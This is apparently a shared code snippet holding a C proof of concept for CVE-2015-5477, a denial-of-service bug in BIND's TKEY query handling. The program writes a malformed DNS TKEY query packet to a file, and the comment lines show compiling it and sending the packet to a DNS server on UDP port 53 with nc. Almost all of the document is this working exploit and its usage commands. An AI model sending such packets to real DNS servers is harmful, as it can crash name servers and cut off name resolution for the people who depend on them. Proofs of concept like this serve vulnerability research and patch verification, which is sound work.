Created
August 4, 2015 12:54
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CVE-2015-5477 - bind TKEY query handling DoS Proof of concept
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| // CVE-2015-5477 - bind TKEY query handling DoS Proof of concept | |
| // (sipher@utensil)(~/tkeyd)$ rm dns.txt | |
| // (sipher@utensil)(~/tkeyd)$ gcc tkeyd.c -o tkeyd | |
| // (sipher@utensil)(~/tkeyd)$ ./tkeyd | |
| // (sipher@utensil)(~/tkeyd)$ nc -u 127.0.0.1 53 < dns.txt | |
| #include <stdio.h> | |
| int main() { | |
| FILE *fp; | |
| fp=fopen("dns.txt", "w+"); | |
| fprintf(fp,"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",0x2d,0xbc,0x01,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x01,0x06,0x67,0x6f,0x6f,0x67,0x6c,0x65,0x03,0x63,0x6f,0x6d,0x00,0x00,0xf9,0x00,0x01,0x06,0x67,0x6f,0x6f,0x67,0x6c,0x65,0x03,0x63,0x6f,0x6d,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x06,0x67,0x6f,0x6f,0x67,0x6c,0x65,0x03,0x63,0x6f,0x6d,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00); | |
| fclose(fp); | |
| } | |
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